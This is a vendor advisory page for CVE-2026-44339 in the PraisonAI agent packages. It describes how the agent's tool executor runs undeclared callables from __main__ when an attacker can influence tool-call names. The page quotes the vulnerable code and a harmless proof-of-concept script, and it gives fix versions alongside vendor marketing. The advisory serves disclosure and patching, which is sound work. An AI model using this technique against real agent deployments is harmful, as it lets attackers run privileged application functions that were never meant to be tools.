Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

CVE-2026-44339 praisonaiagents

HIGH

CVE-2026-44339 is a high-severity (CVSS 8.6) CWE-470 vulnerability in praisonaiagents. A fix is available for praisonaiagents — see the affected versions and patch details below.

PraisonAI has unsafe tool resolution in `ToolExecutionMixin.execute_tool`: undeclared `__main__` callables execute

Also known asGHSA-gmjg-hv98-qggqPYSEC-2026-2915PYSEC-2026-2948
Published
May 8, 2026
Updated
Aug 12, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44339.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs30th percentile — riskier than 30% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-44339 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

2 pkgs affected
🐍praisonaiagents🐍praisonai

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

praisonaiagents resolves unresolved tool names against module globals and __main__ after it fails to match the declared tool list and the registry. With the default agent configuration, _perm_allow is None, so undeclared non-dangerous tool names are not rejected by the permission gate. An attacker who can influence tool-call names can therefore invoke unintended application callables that were never declared as tools.

Details

The vulnerable resolution path is in [tool_execution.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool_execution.py:734). After searching declared tools and the registry, execution falls back to globals() and then __main__:

func = None
for tool in self.tools if isinstance(self.tools, (list, tuple)) else []:
    ...

if func is None:
    try:
        from ..tools.registry import get_registry
        registry = get_registry()
        func = registry.get(function_name)
    except ImportError:
        pass

if func is None:
    func = globals().get(function_name)
    if not func:
        import __main__
        func = getattr(__main__, function_name, None)

If a callable is found, it is executed directly:

elif callable(func):
    casted_arguments = self._cast_arguments(func, arguments)
    return func(**casted_arguments)

The permission gate does not enforce a declared-tool allowlist by default. In [tool_execution.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool_execution.py:550), execution is only rejected if _perm_allow is non-None:

if self._perm_deny and function_name in self._perm_deny:
    return {"error": f"Tool '{function_name}' blocked by permission policy", "permission_denied": True}
if self._perm_allow is not None and function_name not in self._perm_allow:
    return {"error": f"Tool '{function_name}' not in allowed tools list", "permission_denied": True}

Default agent initialization sets _perm_allow = None, which means "allow all" rather than "allow only declared tools" in [agent.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/agent.py:1749):

self._perm_deny = frozenset()  # Permission tier deny set (empty = no denials)
self._perm_allow = None        # Permission tier allow set (None = allow all)

The project's own tests confirm that default agents have no allowlist and that undeclared custom tool names pass approval:

Empirical verification:

I verified the bypass locally on commit d8a8a786915dc67a7c3021e24f72458f2eac5d9c (v4.6.35) by defining a callable only in __main__, giving the agent an empty tools list, and invoking execute_tool() with that undeclared name. The tool executor ran the __main__ function anyway.

PoC

Environment

  • Repo: MervinPraison/PraisonAI
  • Commit: d8a8a786915dc67a7c3021e24f72458f2eac5d9c
  • Verified against PyPI package versions available on May 3, 2026:
    • praisonaiagents 1.6.35
    • PraisonAI 4.6.35
  • Python 3

Steps

  1. From the repository root, run:
python3 - <<'PY'
import sys
from unittest.mock import MagicMock, patch

sys.path.insert(0, '/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents')
from praisonaiagents.agent.tool_execution import ToolExecutionMixin

def sneaky(msg='ok'):
    return {'ran': msg}

class HookRunner:
    def execute_sync(self, *args, **kwargs):
        return []
    def is_blocked(self, results):
        return False

class Dummy(ToolExecutionMixin):
    def __init__(self):
        self.name = 'demo'
        self.tools = []
        self.chat_history = []
        self._hook_runner = HookRunner()
        self.context_manager = None
        self._doom_loop_tracker = None
        self._perm_deny = frozenset()
        self._perm_allow = None
        self._approval_backend = None

mock_registry = MagicMock()
mock_registry.approve_sync.return_value = MagicMock(approved=True, reason='mock', modified_args=None)
mock_registry.mark_approved = MagicMock()

with patch('praisonaiagents.approval.get_approval_registry', return_value=mock_registry):
    agent = Dummy()
    print(agent.execute_tool('sneaky', {'msg': 'hello'}))
    print(mock_registry.approve_sync.call_args)
PY

Expected output

{'ran': 'hello'}
call('demo', 'sneaky', {'msg': 'hello'})

The important point is that sneaky was never declared in self.tools and was only present in __main__.

Impact

  • Any deployment that lets an untrusted party influence tool-call names: undeclared application callables can run even though they were never registered as tools.
  • Operators who rely on the declared tool list as a security boundary: that boundary is broken because unresolved names fall through to globals() and __main__.
  • Applications that keep privileged helper functions in process scope: the attacker can reuse those helpers with the application's own privileges, which can lead to unauthorized state changes and, depending on what is loaded, data exposure or command execution.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpraisonaiagentsall versions1.6.37pip install --upgrade 'praisonaiagents==1.6.37'
🐍PyPIpraisonaiall versions4.6.37pip install --upgrade 'praisonai==4.6.37'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonaiagents, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update praisonaiagents to 1.6.37 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44339 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-44339 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-44339. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary `praisonaiagents` resolves unresolved tool names against module globals and `__main__` after it fails to match the declared tool list and the registry. With the default agent configuration, `_perm_allow` is `None`, so undeclared non-dangerous tool names are not rejected by the permission gate. An attacker who can influence tool-call names can therefore invoke unintended application callables that were never declared as tools. ### Details The vulnerable resolution path is in [`[tool_execution.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advis
O3 Security · Impact-Aware SCA

Is CVE-2026-44339 in your dependencies?

O3 Security finds CVE-2026-44339 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-44339: praisonaiagents (High 8.6) | O3 Security